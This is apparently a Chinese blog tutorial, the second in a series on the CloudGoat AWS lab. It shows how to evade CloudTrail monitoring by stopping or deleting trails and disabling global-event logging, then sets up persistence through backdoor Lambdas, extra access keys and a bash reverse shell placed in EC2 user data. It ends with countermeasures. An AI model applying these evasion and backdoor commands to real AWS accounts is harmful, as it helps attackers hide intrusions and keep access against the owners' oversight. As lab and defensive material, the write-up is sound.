在第一篇文章中,我分享了一个AWS提权实例:从一个仅有EC2权限的账户提权至管理员权限。今天,我将继续本系列,向大家展示如何绕过监控系统和如何实现持久访问。
CloudTrail
CloudTrail服务会监控所有的AWS活动。亚马逊是这样介绍它的:
“AWS CloudTrail 是一项 AWS 服务,可帮助对您的 AWS 账户进行监管、合规性检查、操作审核和风险审核。用户、角色或 AWS 服务执行的操作将记录为 CloudTrail 中的事件。事件包括在 AWS 管理控制台、AWS Command Line Interface 和 AWS 开发工具包和 API 中执行的操作。简化了安全性分析,资源更改检测,故障排除等过程。”
换句话说,CloudTrail是个“老大哥”,监视着用户的所有行为。很显然,攻击者拿下一个脆弱的环境后,第一件事就是绕过检测系统,清除痕迹。如果攻击者拿下了管理员权限,实现这些并不是不可能的。
了解配置
CloudTrail服务默认是关闭的,管理员可以配置它。你可以设置“trails”来自定义监视的内容。
回到CloudGoat平台,让我们来看看CloudTrail监视的范围。
可以看到,所有的日志文件都存储在一个名为“8678170722044418295491212493322823229141751439696325418”的S3储存桶中。还有CloudGoat中的CloudTrail仅监视了“us-west-2”区域。所以我们可以开展区域外的行动了,比如我们创建在其他区域创建一个新实例,这并不会被CloudTrail监控到。还有一点,请注意,使用全球服务将会被记录下来,像“IAM”(比如创建一个备用账户)。那么,攻击者如何绕过CloudTrail监控服务?
中止服务
首先,所有的入侵者都会想到这点。暂停服务用以下简单的命令实现:
然后,攻击者可能会执行一些有害操作(例如窃取数据,创建IAM备用账户,创建新实例用于挖矿)。完成攻击后,可以以下命令启动CloudTrail:
$ aws cloudtrail start-logging --name cloudgoat_trail --profile administrator
删除trails
通过删除所有trail也可以中止CloudTrail服务:
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
或者,你移除存储日志信息的储存桶也可以做到(你过你那么做,记住添加一个force
标签,否则你即使有管理员权限也无法删除储存桶)
在删除trails或者储存桶后,CloudTrail将处于宕机状态。还有一点,这两个方法有点高调,因为CloudTrail中会有最终的回显。例如当你删除了储存桶后,CloudTrail会有这样的提示:
GuardDuty(另一个监控服务)也会对CloudTrail服务的异常状态发出警报:
更好的方法
如果开启了CloudTrail,它默认监视所有区域。然而我们的CloudGoat平台中仅监视“us-west-2” 区域,所以我们可以在其他区域创建EC2实例,而不用担心被监控到。
对于全球服务,前面已经说过了,任何操作都会被监控到。幸运的是,你可以用标签include-global-service-events
关闭全球服务中的事件监视。为了验证是否有效,我创建了一个用户“test1”,然后关闭了全球服务事件监视:
然后我创建了用户“test2”:
我用Bob的密钥暂停了EC2实例(检查“us-west-2”的所有事件是否正确记录)。在CloudTrail中,可以看到这里有记录”test1“用户的创建,而没有”test2“的记录:
用这种方法,攻击者可以绕过CloudTrail服务的监视。还有其他的方法避免被CloudTrail记录:
- 使用新密钥加密所有日志(禁用该密钥,一段时间后删除)
- 使用新的S3储存桶(攻击者完成删除它,然后再换回原先的储存桶)。
- 使用AWS Lambda拒绝新日志记录(不需要更改CloudTrail的trails配置,你只需要这些权限“iam:CreatePolicy”, “iam:AttachRolePolicy”, “lambda:CreateFunction”, “lambda:AddPermission”, “s3:PutBucketNotification”)
如果这些方法不切合实际情况,Daniel Grzelak的一篇文章可能会帮到你。
需要注意的是,以上所有方法虽然可以避免CloudTrail日志被记录到储存桶中,但是所有的操作还是会CloudTrail事件系统储存90天。包括所有区域的事件都会被储存且无法关闭存储系统。这里你可以了解详情。
持久访问
在获取管理员权限,并且知道如何绕过CloudTrail监视器后,那么是时候在该环境实现持久访问了。有很多方法可以在该环境下留下后门,比如:
- 用高权限账户修改用户数据(使用bash命令
bash -i >& /dev/tcp/[your_ip]/[your_port] 0>&1
或者获取SSH密钥认证) - 添加AMI备用账户后,用它创建新EC2实例
- 在Lambda函数中添加后门(比如,某个参数调用该函数后导致创建一个新用户)
较好的方法是给现有的用户分配额外的密钥,aws pwn可以帮助你做到这点。然而aws pwn还可以帮助你自动化地完成很多事:
- rabbit_lambda— Lambda函数,可以不断地删除某个用户再创建它,实现干扰删除用户的事件记录系统。
- cli_lambda — Lanmbda函数,可以无需凭证创建AWS CLI代理
- backdoor_created_users_lambda — Lambda函数,可以给新用户添加密钥
- backdoor_created_roles_lambda — Lambda函数,给新用户之间添加信任关系
- backdoor_created_security_groups_lambda— Lambda函数,把新入站规则应用到所有安全组
- backdoor_all_users— 可以给账户中的用户添加密钥
- backdoor_all_roles — 可以给所有用户之间添加信任关系(设置ARN)
让我们回到CloudGoat平台环境,给所有用户添加密钥:
好的,现在所有用户都有两个密钥了。我们可以再AWS管理中心看到:
有趣的是,用户不会收到添加密钥的通知。对于CloudTrail来说,因为关闭了全球服务事件的通知,所以不会有日志记录。那么,GuardDuty(AWS监控系统)会有什么不同?
Amazon是这样描述GuardDuty服务的“
Amazon GuardDuty 是一种智能威胁检测服务,帮助保护您的 AWS 账户和工作负载。”
所以,它不会把有权限地IAM用户正常创建新密钥识别为异常活动:
应对措施
这篇文章介绍了绕过CloudTrail监视系统和如何实现持久访问。你应该发现了,这不是一项艰巨的任务。那么,我们该如何防止这些东西发生呢?
- 启用CloudTrail日志完整性保护,以防止攻击者替换日志的S3储存桶。
- 除了极少数需要使用它的用户(遵循最小权限原则,Netflix的Repokid可以快速地帮助你),删除所有用户的CloudTrail管理权限(有助于防止攻击者提权,这里可以帮助你)
- 设置其他AWS账户管理CloudTrail S3储存桶的跨区域复制权限。即使主账户的AWS环境被攻击者入侵,CloudTrail日志也无法更改。
- 启用MFA删除保护,增加了删除储存桶内容的难度。
- 使用其他公司的服务备份CloudTrail日志(例如: Splunk)。
- 启用多种监视器,比如AWS AWS CloudWatch Events, 外部服务:Cloudsploit Events , CloudTrail Listener。